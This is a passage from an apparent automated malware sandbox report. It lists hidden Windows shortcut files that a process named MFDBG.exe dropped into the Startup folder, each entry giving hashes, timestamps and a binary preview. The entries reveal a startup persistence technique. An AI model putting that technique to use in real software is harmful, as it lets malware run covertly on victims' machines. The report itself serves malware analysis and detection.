Preview:	L..................F...."...]W%.{....5k.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_096dce808468472bb7717a90cce86c76.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93770585363004
Encrypted:	false
SSDEEP:	24:8ChBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ol0R6rMhpBoUBxdRd1nYyg
MD5:	88BA115842F624893B6256C09FC73B66
SHA1:	5BE32DB2AECFC2464AC7C620595C596CC4E5ABAB
SHA-256:	6F28FBBD96EC8C554BCFDA852F301BF277D1F3D382E86C7997C5143C3C46C07A
SHA-512:	D6098A00053BDB7F9A417FB464F272A3E64174EEAFE3DC79ED832CCE9DCF1DC4C391B62E6097D54250403644C0E4D415C02B1155E709B7CC1C5CEE345EBCCEE8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09e3dcb0d04b4edbbd9d2be9ee9d8db2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932568471005824
Encrypted:	false
SSDEEP:	24:8FhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Vi0R6rMhpBoUBxdRd1nYyg
MD5:	B53B44985C1FEDD67EA71F6076D66277
SHA1:	AECF89140ED5339FB6E86519424C4FEE3E16BF64
SHA-256:	89912BC4D472265D43195542DBA03BD903F46C74439C1F3B3D541C08C236DC40
SHA-512:	98ACE379FC1809779DBC95E1956449146CEB3D96384F834C093866343C6930EB1740F540DA4AA19FFAF70E71E608019BB20D6BFD94B8D7C9644024F2DD4CE40C
Malicious:	false
Preview:	L..................F...."...]W%.{...c..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a14da65e9f04a8caf26d56ddc450cde.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006387
Encrypted:	false
SSDEEP:	24:8VYmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+sU0R6rMhpBoUBxdRd1nYyg
MD5:	C8D06F913E02DD0B8BB8C93496BDC5A0
SHA1:	A63427D4D0FA79420EAD467D6E3C68064B943397
SHA-256:	7E2E45E6822049BC76BC9D9298BBE7844DDAC414453909342207B99653E6B1A6
SHA-512:	78A129018446E95B5639EDC10B3110A6D066B69D01A5F227E1C10446BB66148D0BDD0DE5BE03860FE963EAACF13335F8A2667CE455C1A1D9E48DA5876B2BA3DE
Malicious:	false
Preview:	L..................F...."...]W%.{...*..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a1b371b863c43a39d58c1ef48c87fd9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9335406322813835
Encrypted:	false
SSDEEP:	24:8aqnhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H7nC0R6rMhpBoUBxdRd1nYyg
MD5:	C0AD817C55099BFE8FB5C2DDD560EAD4
SHA1:	F7177AD2AAF8168BF9E1B985A05132688CAEA084
SHA-256:	19BE9FC72435F3D35D897AE3AA8F19E80DB7F51F504AFAC01D5292FA290BB0E4
SHA-512:	B38A9CCAAD5C2617196F79A64BB25D0D7E4E4706B94E7CB9489C92D133D0A7401FC2A16ABBDB7A5C2D2AFDF1BFDC72222568A01D751AD49AC3010218458D6764
Malicious:	false
Preview:	L..................F...."...]W%.{....T..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a3374ce5ffa41fb80714acd3d7b38a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9372125832723635
Encrypted:	false
SSDEEP:	24:8lhBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81L0R6rMhpBoUBxdRd1nYyg
MD5:	5A765785980650107138CB42DC8BAA23
SHA1:	211477420A53C1B9524A4E7623220CFE58EDDD18
SHA-256:	E317F511504592318BCC92226D4BA2DF240273E4535B6D37BC23D25A6F6D1EEA
SHA-512:	34808FCD99CB7AC2687259D0DE103942B3E6E3903B7BEFF9014BD1EABB65C4381DC6EC12C9E08E61EA87B4F200497F06A7F42AD8B7BB569D9302D7C8A453550A
Malicious:	false
Preview:	L..................F...."...]W%.{...e...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a53e49d6ed4460b889dd459118afe3b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9401736995923855
Encrypted:	false
SSDEEP:	24:81hBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lF0R6rMhpBoUBxdRd1nYyg
MD5:	7097CD4313CE336E079EFDA13B58096E
SHA1:	C5AE7087AF9EE7767EA59B27625F562A43FB8719
SHA-256:	71C3C57DDB8155A6C97EFB9055EBF568DFC6C5DE40FB7AF181EBC248DCC73FE4
SHA-512:	46BDF26FBAD575FA2972AE09EF6D1644F63FA143183206A5DE3827152FB46B921D06DCADDC0B71A6869A2A64BC24E863003439EDA198472DA824061A320EFDCF
Malicious:	false
Preview:	L..................F...."...]W%.{....._.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a663d8cc3c0444697739e5c91f85acb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932519768338437
Encrypted:	false
SSDEEP:	24:82hBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cud0R6rMhpBoUBxdRd1nYyg
MD5:	CC495E79A2F7181EAAADC2E395C33B91
SHA1:	A618A3AA2D0C1531EF217E84D91F301453ADE797
SHA-256:	2E1563CEE00DA7BD798B068B6E0DF2441C7F36876209EA94304CB75E328A160F
SHA-512:	AC84F20BF5AF07603E1D9C3F7D713BCDDA1D9A65DD14233F75AEE25594F6A8248BE9B0F159F8A1F2AB9105C81576C42208CE10364290EDBD84429927640B1382
Malicious:	false
Preview:	L..................F...."...]W%.{.....$.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a77d54eb7774e9892478746a0de0c0a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942081009756598
Encrypted:	false
SSDEEP:	24:8K2hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81e0R6rMhpBoUBxdRd1nYyg
MD5:	0204FA105E0FFF4915C8F2730A22344F
SHA1:	A49BA148829E6F392F78F18E45F3AD12D61C5984
SHA-256:	25F160702680737C9DAF59334DE2F70D82F5E0790D5CE6D03A406306DE2C7724
SHA-512:	FF2A1F0619350748F87FB99F2C87475290CDA66AAE86DCEDAAFAE12044ED8F0FA545E2A438CC446821E9BF997DFC58673AAB77134C412C25230758F1715AE7B0
Malicious:	false
Preview:	L..................F...."...]W%.{.....>.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a96f8fc4f214c8396ca2d3ab4f70866.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9404629972181
Encrypted:	false
SSDEEP:	24:8yhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84s0R6rMhpBoUBxdRd1nYyg
MD5:	9FF2367C8BAA008A25BBD35CE48E3FC4
SHA1:	613497C40EAD2495936E7833FBA36C28957B8F1A
SHA-256:	C9EFF86EEF72A59706FB7E618C74AFBE22D88B3C506D5D4E79632DB7114FA112
SHA-512:	5113EDB30661972686D28B4713411978960354C14381C5B01DF31D4AFF96630C1CDB618C25622A4D1F3F3FB75C939D7B9FE0A22EEFB678F76687DD703177390E
Malicious:	false
Preview:	L..................F...."...]W%.{...Z.i.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0af0595f58544c65b0b56e62723f5b7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938843501350689
Encrypted:	false
SSDEEP:	24:8YhBfh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86+0R6rMhpBoUBxdRd1nYyg
MD5:	42E41608AE3A95B62EA0EB5DDEB23376
SHA1:	6167E2CE134A49D8E3BC5506A2EF214ADB4ECA86
SHA-256:	3D3AAE2AC1457D3F361A7ECDFEC3F5F8371C76705E1481A4EA741B5765A42937
SHA-512:	6E99AAF92ADE199E4A632A195122E4D0112350BECC0DAD7995144918031525D80D5C69ADBF6ECA0D439BA946FDD4E4578CD721ADB0677F1997D75610EB6DB6AD
Malicious:	false
Preview:	L..................F...."...]W%.{...y...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0".{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0afaea6e000142548e6723388e7e20e7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935278639971746
Encrypted:	false
SSDEEP:	24:8PhBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Tl0R6rMhpBoUBxdRd1nYyg
MD5:	3A446C7D3736DE560D8329B3C9AAFA2A
SHA1:	2D7C9ECED76C8F078FE4AB2BF6048A9567BE997C
SHA-256:	C1F294424D9AFEE97E0EF2CDFC42174A7042A1C5D36890376869759969BF7DFC
SHA-512:	453FE6DB338BE9D31080B784FCC8BB36A2FD1B7355DF71705D987322B7B7FE5AF3FC9D7A9BD1FC00498F4D66243311AFD509E34EB84203395CA834D89488A80C
Malicious:	false
Preview:	L..................F...."...]W%.{...K...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b17dfac68654765abc07291588cf1a7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9403595275232055
Encrypted:	false
SSDEEP:	24:8HhBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8br0R6rMhpBoUBxdRd1nYyg
MD5:	321A1CA90FAB989543A7126EFE5E4E71
SHA1:	73F8B949C296BF55A504EF88DC90B0543ABC76B8
SHA-256:	E01220E8B5ABAA5B206CC61CD1BBE4F1F2917A9540E46CDBA32C73FDF42299CB
SHA-512:	8831D0532BD83AFE00ABCFB148702AC05827A7FFD1336D21429461B4D64443F2ABADA06CEFBEDB4AC44048621DDDCA272221B5D12328648EEBC6A74358A09806
Malicious:	false
Preview:	L..................F...."...]W%.{...m...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b4d8097dc2143e2ac44a568ef78e6b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93436745248597
Encrypted:	false
SSDEEP:	24:8GhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MKI0R6rMhpBoUBxdRd1nYyg
MD5:	9880444D0D2AB04E9E0D439B1E8B8509
SHA1:	FD92EEE6573A20F96F76CB1F1C5939BF43B76436
SHA-256:	4B6B113C45E9B532DD4EA39385E7224A273374DB1F39CDC8FFE0AFFD51C1EB4B
SHA-512:	3236C10E2BB51078038FAFD846839BF22D9239FC596579355AB2BA1510073C1E1765F732FB75FBA9AE18C28A1C7068E02D667304F308BEE767853B55D4C1D23C
Malicious:	false
